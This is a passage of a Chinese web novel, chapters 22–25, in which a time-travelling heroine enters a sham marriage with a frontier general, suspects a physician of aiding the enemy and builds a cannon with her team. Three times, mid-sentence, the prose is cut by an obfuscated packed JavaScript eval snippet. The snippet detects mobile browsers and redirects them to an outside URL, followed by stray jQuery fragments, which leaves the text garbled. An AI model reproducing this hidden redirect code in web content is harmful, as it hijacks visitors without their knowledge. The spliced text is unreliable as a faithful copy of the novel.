之前半夜被噩梦吓哭的是谁啊。 她忘了。 反正不是顾寻风! 顾寻风本也无意遮掩,这就是人尽皆知的事情,他看着林姑娘震惊的样子,不禁失笑,声音放得很低:“怕了?” 二人小心翼翼交谈,近乎气声。 “不是……我我这,我不该问……没什么没什么,真没什么,我会跟你好好合作的你放心,我不会背叛你……” “不必怕我,我只是当时做了个梦,所以才这么决定的。” “……”更可怕了好吗! 可这么说着,林清月好奇心又痒痒了,想了半刻钟,顾紫烟那都传来了轻轻的鼾声,她才大着胆子问:“什么梦?” 林清月眼尖的看到对方手抖了一下。 而后耳边传来一次加重的呼吸声。 “……没什么梦,说着玩。” “哦。”林清月见他反应不正常,没强求,压下了好奇心。 想来—— 能让一个人下决心弑君的。 也不是什么好梦。 顾寻风只嗯了一声,没人再说话,也没人发现座椅上的人早就没了鼾声。 傍晚时分,小队里的人收工回军营,林清月去迎接,大家一起在营帐中数钱数得不亦乐乎,约着下次抽空去买几件漂亮衣裳。 “咳咳,特别点名几位男士,是该多买些衣裳了!” 几个男生头发都已经长长了些,像古人般束起,当初为了教会他们束发,可是废了好些时日,还要精心挑选适合他们的发型。 好在都是学霸,学啥都快。 只是衣裳这方面,他们是真不在意,除了秦安肆衣裳多一点点,其他几位都捂着钱包说钱不能用在这上面。 点名批评仲长椿:“你长得这么周正,很适合古装的,你等着,队长我会好好给你挑选!” 直到拒绝无用,仲长椿懒得说话了。 总之现在都赚了好些钱,大家也都不是什么抠搜的人。 就这样闲谈到晚上。 夜色降临,宴会开始了。 林清月换了素灰色的布衣,带着一群人找了个最角落的位置。 “对对对,就那个,是顾寻风的三哥,妈呀可吓死我了,我还以为是我太明目张胆了,把人家家里人都招来了……” “其实也不是不可能。” “不可能不可能,只要我够苟,谁都不可能注意到……” ——“林姑娘呢?” 顾紫烟来了。 一来就扯着嗓子喊。 林清月自认为这位置很隐蔽,但谁知道,那顾紫烟简直是个火眼金睛,不出两秒就发现了她,兴致冲冲就过来拉她,“在这坐着做什么呀?来来来,三哥带你去热闹热闹!” “我不去了三哥……呸。”林清月想抽自己一嘴巴子,这人不正经,她怎么也被带跑了。 她深吸口气,拼命往后退,“我不去了御史大人……” 顾紫烟不理,拖着她走到顾寻风旁边,按在一脸懵的顾寻风旁边坐着。 这才回话:“不要这么生分嘛,毕竟以后都是一家人的,弟妹~” 顾寻风:“?” 林清月:“……” 22. 逢场作戏 一旁,江奇云比他们反应更快,试图解释:“大人,我们和他们不是一起的,他们就是来帮帮忙,跟我们将军也没有任何……” 奈何顾紫烟不理他。 接着就说:“爹可是特地给陛下讲了此事,两人一合计,就让我来给你们成婚呢。” 顾紫烟笑着,坐到二人中间,声音当中笑意满满。 “这可是圣上的口谕,我要回去交差的。” 江奇云没说话了。 再怎么不满意,他也不能抗旨啊,这是陛下的意思……陛下脑子是不是抽了!!!他都没见过这个林清月的德行,就赐婚,简直不可理喻! 江奇云兀自在一边气愤,火堆都被他用木棍捣出了火星子,噼里啪啦作响。 “你要说的,就是这件事?”顾寻风生无可恋了。 若说只是父亲意思,他绝不屈从,但他父亲竟然跑去撺掇陛下。 …… 看来他父亲已经看透他了。 只有陛下的话他不得不听,从前,他对陛下的命令也很少违逆。 顾紫烟点头:“没错。” 他搭到弟弟肩头上,苦头婆心说:“父亲和陛下都是为大局着想,你年龄也不小了,是该成婚了。” 顾寻风语气无力:“说的真好听,三哥都二十好几了,不也是还没成婚。父亲母亲就不催你吗?” “……”顾紫烟眉目一凝,“这不能相提并论!” 顾寻风不回话。 等这次战事结束,回去胡京他就问问陛下究竟是什么想法,陛下不可能无缘无故就赐婚的啊。 就算有些风言风语…… 也不可能到赐婚这种地步吧。 实在接受不了这个消息,但顾寻风又没办法反驳,心头有气,又说:“我也才十八。那时候三哥你还在外面玩泥巴,却还叫我成婚。” 顾紫烟仿佛被一锤中了脑袋,怒道:“什么叫玩泥巴?!” 过了片刻,又消气。 “……退一万步讲,就是你说的这样,那是你更有本事,你不更应该早点成婚,别让父母操心了,本来你现在就……” 二人正聊得欢。 一直沉默的林清月猛的开口。 “我不结。” 顾紫烟话语骤停,望向林清月,“……嗯?” 林清月终于抬头,语气坚定:“如副将所说,我是个来历不明的人,我自知对将军本就没有什么真情实感,这样岂不是耽误将军?再说了,我正处在事业上升……咳,正在经营店面,没时间搞这些七七八八的。” 顾紫烟定定看着她,这小姑娘挺止了腰板,丝毫不怯,等着他的回答。 半晌,只有火星子炸开的声音。 林清月的眼神没有退意,反而更加坚定。 顾紫烟忽而一笑,“口谕还是不行啊。” 他收起扇子,去掏袖口,“没事我这还有圣旨来着……” 林清月一下泄了气,按住他的手臂:“我明白了!你别掏。” 她还不想死啊!! 抗旨必死。 顾紫烟微笑着把手从空荡荡的袖口拿出来,转而去劝她:“唉,是挺对不起你的,本来按照正常流程,我们是要给你下聘,听说你家在苏周城?挺远的,但没关系,你把家中住址告诉我,我让父亲给你们家把聘礼补过去。” “也是没办法,近来边关不太平,将军离不开这里,陛下便就让我来,给你们在这成婚……” “不过放心,等这里事情结束,将军回胡京的时候,我一定让他带着你回去,补一个婚礼!” 林清月此时脑子嗡嗡的,什么都听不进去,只捕捉到聘礼二字,虚虚回答:“好,聘礼……聘礼?什么父母,直接给我就好啦,我在这儿没有父母……呜呜……” 顾紫烟眨几下眼,以为自己说错了什么,当即选择转移话题:“啊那个,当然没问题。对了,这成婚的衣裳……” 但他身边两人是没一个人在听的。 ——直到他说嗨了,把二人手一牵,放在了一起。 林清月惊醒,看着面无表情的顾寻风。火堆在身侧燃烧,林清月看着,忽然心中火气上来,没管顾紫烟还在说话,就着这个姿势抓住他的手。 一起身,二人牵着的手从顾紫烟眼前略过。 而后也不管被拉得差点摔倒的顾寻风,直直就朝人少的地方走过去。 到了地方,林清月松开手,转身叉腰,气急败坏:“你家里人不是跟你关系不好吗!” 顾寻风耸肩:“还是会管我的。” 林清月恨不得去晃他看看他脑袋里装的是不是水,但忍住了,只是紧紧抓着他双臂,深吸口气:“那现在怎么办?真要成婚?” 顾寻风略微思索,道:“总之现在先把那个人骗回去再说。” 林清月松开了自己的手。 “你是说,假成婚?” “嗯,做假夫妻。” 那也不是不行,林清月想,假装成个婚,有夫妻的名头,她在军营其实也更好办事,这不是什么坏事。 只是都谈到了这里,这不得捞点好处。 林清月若有所思看着他,说:“那你拿到了你想要的东西,就和离,放我们走。” 顾寻风毫不犹豫答应:“好。” 要不是他想要那个东西,不可能放任他们在军营折腾这么久,之前置办东西和修军营,都花了他许多银钱,想想就气。 而且这个头领脑子有毛病,那天晚上他就看出来了,还另一个世界,这不是脑子有坑还是什么? 他不信这些。 至于现在成婚,于他而言其实也没有什么实质上的影响,既然林姑娘都同意假婚,那就更没什么影响…… “那拉钩!”林清月伸出自己的小拇指。 对方愣着,没反应。 林清月掰开他的手,将自己的小拇指勾上去,“你们这里没有这种约定的方式吗?发誓太重了,但不约定什么,我可不安心,所以……” 林清月笑,一口气说了出来:“拉钩上吊一百年不许变!” 说完立马把自己的手收回,喜滋滋走回去坐着。 顾紫烟手中正拿着一个烤红薯,边吹边吐槽:“这也太烫了,下不去嘴啊,真没位置放了吗?” 林清月此时心情好,从百宝袋掏出一个小勺子递过去,嘴巴甜甜的:“三哥,拿这个挖。” 顾紫烟这才发现他们一前一后的回来了,接过那不知什么材质做的透明小勺,稀奇了一下,而后吃着问:“你们聊完天了?” 林清月点头:“我们来陪三哥啦。” 顾紫烟乐了:“你这小姑娘真不错,小风都没几次这么叫他哥呢,不错不错,回去我跟他们多夸夸你!” “谢谢三哥!”林清月此时是心情好,反正也都是逢场作戏,无所谓。 …… 本来这场婚礼是要在过年时办的,但敌军来叫嚣的越来越频繁,顾紫烟实在不忍这边日日睡不好觉的环境,于是就在店开业的半个月后,顾紫烟就在跟他们商量婚礼流程了。 林清月不想听,听得昏昏欲睡,差点靠在顾寻风肩膀上睡过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972998|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些事儿他们商量就好,她又不懂古代这些礼数什么的。 直到顾紫烟走了,顾寻风才把她推了推,她清醒过来揉眼睛:“都商量完了?” 顾寻风颔首:“等军营都布置好了,你就跟着流程走就好。晚上我会自己打地铺的。” 林清月自然没有拒绝。 她转而问:“现在和敌军怎么样了?是不是要打起来了。” 顾寻风面色凝重起来,他抓着竹简的手紧了紧,“他们估计要趁着过年来一波大战,我不确定,但越是这种时候,不能放松。” 他分析:“我们现在成婚,过段时间又正好是过年,他们定会以为我们松懈来袭。好在我们先前就安插了人进去,这点不用担心,到时可以反将他们一军……” 林清月心里头有了主意,问他:“将军信不信我?” 顾寻风疑惑,歪头看她。 林清月笑靥如花:“我能给你们造出很厉害的东西,就这半个月内,一定可以。” 顾寻风放下竹简问:“什么东西?” 林清月道:“当然是……可以把他们一网打尽的东西。” 顾寻风很好奇,这位林姑娘还能整出什么幺蛾子,于是点头,答应了。 林清月跟顾寻风要了一波士兵跟着她,把店子全交给了县令派来帮忙的人,而他带着一群人,在山里找了个僻静之处,偷偷计划着做一个简易版大炮出来。 不给他们重创,一时半会是不可能消停的,他们不消停,这顾寻风指不定什么时候又要找上她。 况且,他们当时都差点烧死她,她记仇的。 非常记仇。 百宝袋能提供的物品有限,但好在虽然有时候确实会失灵,失灵次数却也没多到那么离谱,他们也早就习惯了,失灵了就是百宝袋心情不好,等呗,看谁等得过谁。 几日后,婚礼进行,军营一片欢庆,林清月自然要出席,其他小队成员都知道内情,也懒得凑合,在山洞里继续造大炮。 他们都在感叹,自己或许就是住山洞的命吧。 到了这里还要住山洞。 道理都懂,为了不让敌军发觉,悄悄搞他们个措手不及,但还是想感叹。 有顾紫烟在,婚礼办得算是顺利,总之也就是那些个流程,林清月从头到尾脑子里只有一个念头:头冠好重。 还有:想快点回去山洞帮忙。 晚上一回到帐篷,林清月就不耐地丢下了红盖头,跑到他们临时摆的梳妆镜前拆头饰。 后进来的顾寻风只瞥了眼,没管,有气无力道:“我把他们都赶跑了,你明日还要去那边山洞吧?今夜早些睡。” 林清月也是没力气再说什么了,应声:“好。” 这场婚礼真是又累又碍事。 她现在心里只有搞事搞事搞事,报那个炸药包的仇。 昨夜赶回来睡了一觉,一大早就被喊醒,顾紫烟的丫鬟给她画了个大浓妆,实话说,顾寻风确实也觉得她好看,但也仅限于觉得好看了。 他心里全是该怎么对付蠢蠢欲动的敌军,还要提防他们趁着这个时候来犯。 不过好在他们这时候算是安分,没来叫嚣。 ……甚至在半夜的时候,一支箭送来了个礼。 顾寻风深吸口气,坐起拔箭。 “……” 被吵醒的林清月坐起来,冲到顾寻风旁边就夺过箭,“我倒要看看他们能送什么东西过来!” 动作之粗暴,语气之气愤,顾寻风都没敢讲话。 然后就看见被箭带来的纸团里,放了一颗药丸。 23. 夫妻试探 ? 啥玩意儿? 林清月还没反应过来,一只手过来把她的手包裹,纸团被重新团成一团。 两人肌肤相触。 莫名的,她感觉到身体发热。 “……我一定要让他们死得七零八碎。”林清月咬牙切齿。 顾寻风从他手中把纸团拿出来往窗外扔,还出门去踩了好几脚,把它踩入泥。随后回到房安慰:“好在吸入不多,我们隔开一些,冷静冷静就好。” 林清月重新躺到了床上去,顾寻风则展开屏风,坐到桌前,点了一小盏灯,去看竹简。 不消片刻药效就被两人硬熬过了。 林清月睁开眼,一坐起来就开骂:“他们究竟是怎么想的,整这出?神经病吧,还有这药丸,亏得他们竟然还有这种东西,他们那的军医这么厉害?这都能搞到?” 顾寻风在屏风另一侧听着,心中有些猜测,“这药丸制成需要些本事的,据我所知,他们那边并没有这么厉害的人,或许……” 彼此林清月正在气头上,一时没听清他的言外之意,继续骂:“之前想搞死我,现在又整这出,想恶心谁啊?我看他们真是最恶心了!” 顾寻风放下了竹简,似是也要去睡了,起身收起屏风,安慰她道:“丑人多作怪,他们没本事,一直吃败仗,做这些小动作……都是些小人罢了,到时候我们会把他们打得屁滚尿流。” 他吹熄灯盏回到自己的地铺上,“那楚药师不是说了让你不要总生气,这段时间你很忙,我猜你应该没喝药,所以,就别生气了。” 说起来,还有楚才这个人呢。 林清月都快忘了他。 其实她一直没怎么好好喝药来着…… 她摸摸鼻尖,被他貌似关心的话说得有些不好意思。 她躺下去,侧躺面对着顾寻风那边,说:“将军你还挺关心我的呀。” 顾寻风已经闭上了眼,片刻后回答她:“关心合作伙伴也是应该的。” “哦。”林清月翻了个身,躺回去。 …… 哎。 楚才…… 他奇怪的点,不会,就是跟敌军有关系吧? 刚刚顾寻风也说了,敌军似乎也没有能制出此类药物的人。 想着,林清月激动的下床,蹲到了顾寻风身旁,也不顾对方有没有睡着,噼里啪啦把自己的想法说了出来。 “之前楚才突然找上我就很奇怪,你知道我们当时为什么追他吗?还不是因为他突然跑来问我们,是不是军营里那群奇怪的人……后来就有人跟踪了,着实是太可疑了!” “这回说不定就是他帮忙敌军制出这种药的!” 林清月越说越觉得自己猜的对,愈发激动,开始动手摇晃着顾寻风的身体。 “顾寻风,顾寻风!顾寻风我们明天就去找他吧!” 顾寻风深呼吸,睁开眼,拿开她的手,“我自己去就可以了,我会把他抓回来让你骂骂的。” “不是这个问题……你放心,山洞那边有他们在,没问题,你就带我去呗?” 她还有任务没做啊,她都快忘了。 顾寻风侧过身去,背对着他,“答应了,先睡觉吧。” 林清月便不再打扰他,跑回去躺着,激动的好久才睡着。 第二天自然是醒得比较晚。 林清月起来的时候,敌军还在外头跟江奇云对骂,而顾紫烟嫌吵,跟顾寻风在训练场躲着。 顾寻风不轻易去应声,这点林清月是知道的,他大多时候都是在训练场练剑,除非江奇云玩不过对方了,他才会去撑撑场子。 林清月明白,大佬都是关键时间卡点的,那些电视动漫不都是这样演的吗? 虽然也不明白为什么要卡点,但……反正大佬都是这样就完事了。 她记着今日还有别的事,梳洗完,穿了当初顾寻风送她的那套衣裳,跑去喊他。 ——“顾寻风!” 顾紫烟占了她原本经常坐的那块石头,但是也没关系,反正她今天不是来看顾寻风练剑的。 她跑到顾寻风身边,彼时顾寻风还在挥剑,眼见着要碰到她了,骤然停下,她知道这种大佬不会误伤的,也只是“哎呀”一声,随后便绕过剑尖去拉他。 “快走了快走了,你记住,就跟楚才说我的药吃完了,去抓药的。” 顾寻风收剑,跟顾紫烟随意打了个招呼就跟着她走,回她话:“知道。不过这么长时间,你的药也早该吃完了吧?” 林清月一哽。 她不喜欢吃药,这个时代那还都是纯中药,苦得很,她更不可能喝的,而且还免费也不浪费钱…… 总而言之,言而总之。 这药她其实根本没怎么动过。 顾寻风猜到了,没继续说下去,他才懒得管。 昨夜若不是看她太过生气,影响睡觉,他都不想提醒这傻子了。 ……结果后来还要把他摇醒。 虽然他也没睡着。 为了演得更像,林清月这回还是跟顾寻风骑的一匹马,一路到了楚才的房屋。白日里楚才那还是挺热闹的,他名声可以,很多人找他看病。 楚才看到了他们,匆匆诊完手上这个就来接他们,格外热情打招呼:“这次是来抓药的?” 林清月看出他在忙,摆摆手,一副善解人意的样子:“没关系的,你先去忙吧。” 楚才犹豫了什么,似是有什么话想说,但最后仍是点点头应声:“那我先去把手头上的事处理了,你们先坐坐。” 林清月坐到椅子上,开始联系系统。 【宿主,666在的。】 她问:‘那个药丸,你查得出成分吗?’ 【宿主你终于想起我了!我!超!全!能!稍等我这就去查!】 ‘嗯。’ 片刻后,系统带了一张写满了药品的纸张回来了,纸印在她脑海中。 林清月脑袋一痛,下意识扶额。 “嘶。”能不能先跟她说一声再传啊…… “怎么了?”顾寻风把眼神从其他地方挪回来。 林清月整理了一下脑海中的药方,微微摇头,蹙眉看向存放药物的药柜。 顾寻风顺着她的眼睛也看过去。 没看到什么。 大概一个时辰,楚才才忙完,店内只剩他们几个人,楚才走到药柜前开始给他们抓药,问:“姑娘进来感觉可好?方才,见姑娘似乎还是有些不适,一会再为姑娘看看吧。” 林清月笑,走到了他身后,“不麻烦先生了……” 她看着楚才熟稔地抓药,目光挪到药柜其中一个格子上,发出疑问:“哎?藏红花……这也是一种药材吗?” 楚才抓药的手一顿。 林清月正一副不听话的样子,伸手想去拉那小格子。 楚才眼疾手快,抓住了她的手腕。 “啊!” 后果就是,刚刚抓的药全掉地上了。 林清月懊恼道:“不好意思,都是我不好。我帮你吧?” 楚才慌张拒绝:“不用了,不用了夫人,你坐着休息会吧,我先为你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989467|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诊脉看看也好,或许药方需要改进呢?” “那麻烦医师了,实在不好意思,是我不该乱动的。” 楚才连连安慰:“我手中不缺药材,夫人不必自责,坐吧夫人。” 林清月坐到他面前,伸出手让他诊脉,与他闲谈:“话说,药师是苏周城的哪家人呐?” “啊,一个……一个小户人家而已,夫人衣着华贵,应当不是什么小人家,定是不知道的。” 林清月笑:“我还想着给你们送些回礼。” 楚才眼眸一垂,“……谢谢夫人好意,只是现在不太方便,往后吧,往后有机会我再告诉夫人。” 接着照常是一些叮嘱之类的,林清月应着,接过重新抓的药物,见楚才还是欲言又止。 她思索片刻,看向顾寻风:“夫君,我们今日叨扰这么久,不能白嫖的,你快给些银钱。” 顾寻风:“……” 虽然楚才连连说不用,但顾寻风还是装作很情愿掏出了钱放在桌上。 二人离去,直到出了瑾县,林清月才顶着风声再说话:“看他慌张的样子,估摸着确实有鬼。不过我觉得他不是坏人……” 毕竟系统都让她结交了。 林清月回头,只能看见对方下颚,和飘扬的马尾,她转而又看向前方,问:“你觉得呢?” 顾寻风骑马的速度慢了些许,“何出此言。”风声伴着他放松的声音,灌入耳中,林清月不由得再次回头看了他一眼,正好与他对上一秒视线。 对方轻轻抓了下她手臂,提醒:“坐好。” 声音好似很远,又好似很近。 林清月捂了捂耳朵,隔绝掉多余的风声,怕他听不见还往后靠了靠,贴着他胸膛,说:“你不觉得他今天好几次想说什么又没开口吗?我觉得,或许他需要一个契机。” “看出来了。”顾寻风的声音比平日里散漫,夹杂着一丝不易察觉的笑意,“那你想好怎么给他契机了?” “那倒是没想好……” 林清月有些烦恼,“我觉得这事儿吧,不止与他有关,我们得去苏周城一趟,你不是都查清楚了吗,他的身份。他今日没告诉我他的身份,怕是有些隐情。” 思考完,她再次抬头,笑眼弯弯的,“等过完年,把敌军揍完了,我们多去找找楚才。” 顾寻风把她的脑袋按回去,问她:“你觉得我们都能把他们打跑了的话,还用在意楚才这个小人物?” 对哦。 林清月皱眉。 楚才既然和敌军有联系,那在敌军进攻之前,他就是个大危险。 “那把楚才接到军营来看着?” 顾寻风评价:“打草惊蛇。” 林清月又问:“你们的卧底没得到他们和楚才之间的什么线索?” 顾寻风顿了顿,“……还没联系上他。” “那难办了。”他们卧底不会被发现了吧?不会吧?这么倒霉? 林清月再抬头—— 还没抬起来就被他按了下去。 “这不是你该想的事,这段时间,你们安心在山洞做东西就好,我很期待的。” “好吧。” 林清月刚垂下脑袋,忽然再亿次抬头,“那不行,事关楚才,我还是要管的。” 此时马已经到了军营门口。 顾寻风停马,下马,抬头看着正跳下来的林清月,说了句:“那你挺关心他。” 随后拉着马走了。 林清月抬脚还打算继续跟他分析分析现在的局势,忽的,浓重的血腥味直冲鼻间。 24. 将军伟绩 这么些日子,林清月很少看到他们吃败仗,今天是第一次。 似乎是刚打完,军营内都是军医在走动,有碰到了将军都无暇打招呼,这下林清月算是看到了,这营中的军医是真少,只要一打,那根本忙不过来。 林清月一路跟在顾寻风后面,心情不由得有些沉重。 她能看到,有的甚至已经救不回来了,盖着白布,军医忙不过来,还未完全盖上,能看到惨白的脸。 ——“啊。”前面的人忽然停了脚步。 林清月撞上他的背,挪开目光,看向他。 他只说了句:“你去做你的事去。” 让她走? 林清月“哦”一声,转而道:“我先收拾收拾。” 顾寻风没再管她,一路走。林清月悄悄观察着他,仍是偷偷跟了上去,他精准找到了江奇云所在的地方走过去。 皱着眉,气势汹汹。 总之林清月是这么感觉的。 她躲在一个帐篷后面看着他们。 那边的声音清晰传过来。 顾寻风问:“为何打?” 江奇云的手臂像是要断了,留了一地的血,军医在旁边满头大汗,生怕一个不注意没缝住,手臂直接掉在地上。 “……我……”江奇云一副委屈的样子,“他们说将军是懦夫,是乱国贼子,我气不过……!” 说得太激动,江奇云不自觉乱动,牵扯到手臂上的断口,军医先惊呼了一声,针也歪了。江奇云张开嘴刚要喊疼,被顾寻风塞一嘴布,把叫声堵了回去。 “没本事,就把这些不平都咽下去。” 江奇云听出来了,将军在骂他没本事,自不量力。 他一下就焉了。 “我只是听不下去他们……” “又不是假的。”顾寻风淡淡说,“何必在意他们狗嘴里吐出的骨头,你又碾不碎。又不能撕了他们的嘴,不让他们说,照你这样,难不成我们桑朝的人,你也要全打一顿不成?” 江奇云不服气:“那不一样。这都是我们国家中自己的乱子,他们知道什么就这样评价?当初若不是将军你来我们这儿,我们这营地早被打没了,我看,他们就是恨你当初把他们打得跪地求饶!” 顾寻风看起来很想打他。 但忍住了。 “好了。”他看向军医,“怎么样,这伤影响大吗?” 军医面露难色:“修复慢,估计很长一段时间都不能……” 他没说完,但意思已经摆在那了。 顾寻风顿了顿,只道:“那也好。” 林清月把脑袋缩回去,想了想,跑回自己的帐篷,她坐在桌前,把百宝袋放在桌上,抚了它几下,觉得不够又把它捧在手心拜拜。 之后才小心翼翼伸进去拿东西。 林清月自然也挂念着小队那边的进度,但既然她现在还在军营,这事儿又被她看到了,自然不会坐视不管,虽然江奇云此人确认有些讨厌吧,但…… 不得不否认整个军营,他的功夫还是数一数二的—— 当然,是在还冷静的时候。 她倒是没想到,顾寻风还有那么凶的一面,看来是真生气了。 ‘老六,你让我结交楚才,是不是想让他来军营帮忙?’ 【你猜嘛】 ‘滚。’ 这个老六问不出什么东西。 好在这次百宝袋没失误,她拿了些抗感染的药物出来,还有些加速愈合的,然后仔仔细细重新包装成古代药品的样子,拿中性笔写下药物效果,该用在哪些地方。 做完这些,她又溜进顾寻风的帐篷,把这些东西放在他桌上,还拿毛笔在纸上写下了自己的名字,大大的三个字,他一来就能看到。 等顾寻风拉着三哥去帐篷问今日之事的时候,已经是晚上。 “咦……好丑的字。” “你多好看?” “就为了一个女人,你就这么跟你三哥说话?!” “嗯。” 顾寻风折起那张写了名字的纸,坐下将林姑娘留下的东西仔细看了看,耳边听着顾紫烟声情并茂讲述了一遍今天江奇云从互骂到发飙的过程。 其实最后也还好,虽然吃了败仗,大将受伤,但敌军也不怎么好受,只是他们那边将领多些,不愁没有替换而已。 林清月平日里没事就看他们练武,湛亦偶尔也会一起,湛亦说他们都是菜鸡,就那个江奇云有时候有两把刷子,至于顾寻风…… “你想知道?当时我们分开逃走,他一招就把我们都打倒了,你说他有多厉害?” 林清月回到山洞,跟他们讲了外面发生的事,本来担心,一听到湛亦的话,她把心放肚子里了。 再想到江奇云说,当初顾寻风凭一己之力扭转战局,把敌军打得屁滚尿流…… 大佬坐镇,有啥可担心的。 他们快点将大炮做好才是王道—— “姑娘——”他们正聊着天,一个士兵凑过来,“是吃了败仗吗?” 旁边的士兵连连呸,打了他几个脑瓜子,“别瞎说。现在我们的首要任务就是快点把东西做好,去帮将军的忙,你要相信将军。” 那士兵立马振作起来,“对,要相信将军!将军最厉害了!” 听他们说到这,林清月好奇问:“你们都这么崇拜他呀?” 她还以为就江奇云一个脑残粉呢。 说起这个,那士兵来劲了,兴致勃勃道:“你是不知道,我们这地方原先是敌军的地盘,虽然他们都说将军的不是,说将军帮现在的陛下篡位,可这地方是他打下来的。” “他这个大将军的位置,更是他孤身一人破万军来的,不容置疑!” “那时候我们这个军营刚筑起来就被打得七零八散,就见将军一个人一匹马一把剑,把敌军千军万马都打跑了!就他一个人啊!” 那些士兵也都开始说起来,都是激动不已的样子。 林清月安静听着。 听他们说那些丰功伟绩,说十六七岁的少年是如何如何威风。 ——“那,受了很多伤吧。” 听到最后,林清月这么说。 士兵点头:“不过将军很少受重伤的,基本都是他自己就能用药抹好的程度,都不用军医出手。” “说起这个……”林清月手中调配着火药,嘴巴不停,“你们营中似乎很缺军医?” 士兵眉目一垂:“我们这个军营,也就将军在意了,这几年,也就只有将军在这的时间最长,朝廷根本就不怎么管的,他们只管自己玩乐——除非,这里已经沦陷了。” 林清月没多做评价。 她抬头,看见康日在已经快要成型的大炮那测量数据,两兄弟还在跟士兵们一起动手搭建,你一句我一句,吵吵嚷嚷的。 秦安肆则安安静静在一旁改良那个炸药包。 她跑过去蹲在他身边询问进度:“怎么样了?” 秦安肆语气不好:“问我做什么,问他们啊。” 林清月狠狠一拍他的肩膀,“你对我意见啊?” “没错,再见。”秦安肆显然是改烦了。 他经常这样。 林清月看了看四周。 湛亦,武力高强不敢骚扰,罗知之,一说话就害羞不好意思骚扰,其他人又都在忙,那就只有—— “秦安肆,你吃饭没?” “秦安肆,要不要我帮忙?你这个地方好像有些差错吧,之前就想说了……” 秦安肆不耐:“你就没有自己的事情做?” “有啊。”林清月一笑,“队长的职责就是维护队员关系,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001340|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让任何一个队友落单!我这不是在关心你吗?” 秦安肆:“滚。” “哦。” 实话说。 论建造,两兄弟最强。 论化学,罗知之最牛。 论思维灵活力,秦安肆当之不愧第一……虽然她和秦安肆都属于比较全能的,但她鬼点子太多了,没错,她的每一任老师都是这样说她的。 况且她虽然天才,天才也是主要针对计算机,在这儿有屁用哦,这百宝袋又不能变出个电脑来,平日里做研究她倒是用处最大,但现在啥仪器也没有。 她用空气? 其他的倒是也都会,但有牛人在,她自然懒得去插一脚。 又不是没去帮忙过。 人家队员都相亲相爱配合默契,到了她这里,指挥一下、提个意见,都要被嫌弃。 她不想自讨没趣。 她又不是没想去康日他们那边帮忙。 秦安肆:“……拿着。” “嗯?”林清月见他递给自己一个工具,“干啥?” “……你不是要帮忙吗?”秦安肆翻个白眼,“不帮算了。” 说着又要收回去。 林清月两眼一闪,夺过工具,“我帮!” 终于!她已经成功感化一个队员了!其他队员迟早也会被她感化的!嘻嘻,她就是最厉害的队长! 两人忙活着,有了林清月加入,确实也快了些,虽然她弄这些东西鬼点子多,但不得不说,也算是有用吧—— “林清月,你再乱碰就别帮忙。” 但是。 秦安肆马上就后悔了。 而这个过程,仅仅只用了五分钟。 “怎么了?”林清月兴奋讲解着自己的想法,“你自己看看这样是不是太集中了?若是我们到时候放的位置不对呢,他们躲得快呢,炸不到人呀,而且……” “你想的未免太多了,而且你说的那种怎么可能实现?我们现在的条件……” “怎么不可能。”林清月努力保持平和,“秦安肆,你别这么固执行不行,你都卡壳这么久了,我都没说你,我还来帮你,你就这样嫌弃我。” 秦安肆直接站起来,把所有工具往地上一砸,“那你来,我不做了。” ?有病? 这人才是真需要去看病! 林清月觉得自己的火气一下子全冲了上来,头晕目眩的,她也把手中工具摔地上,起身,“我是队长,我说就让你负责这个!你不做,你滚行吗?” “行啊。”秦安肆一脸无所谓,“反正你也觉得我哪哪都做的不好。” 林清月觉得自己脑袋上都起火,她想尖叫。 “我哪有这个意思?我刚刚好好跟你讲话你又不听……” “别吵了月姐……”这是罗知之过来了,拉住林清月的胳膊,又扯了扯秦安肆的衣袖,“有什么事我们好好说,好好说嘛。” 秦安肆迅速撤出自己的袖子,连带着罗知之踉跄了一下,林清月就又炸了:“秦安肆!” 她把想劝架的罗知之拦后面去,声色厉厉:“我当初就是瞎了眼让你来,你这个臭脾气怎么就不能改一下?就刚刚而论,你让我帮忙,又全盘否认我的提议,可是遇到瓶颈就该改动试试啊,你又不听!” “后悔了?”秦安肆冷笑,“那我现在就走。” “你知道我又不是这个意……” 林清月气得不行。 她只是想劝秦安肆改变一下思维,这人又总是语气这么冲。 话没说完,拱火的又来了。 湛亦:“就让他走呗。” 仲长椿:“是啊队长,还拦他干嘛?他自己想走,留的住人留不住心啊,我看他也早就看不惯我们了……是吧小少爷?” 秦安肆他转身就走了。 25. 陷身敌营 看见秦安肆真走了,林清月急得跺脚,这几个就没一个让人省心的! 秦安肆是个嘴臭的,偏偏她脾气也不好。 其实林清月知道,知道每个队员的脾性。 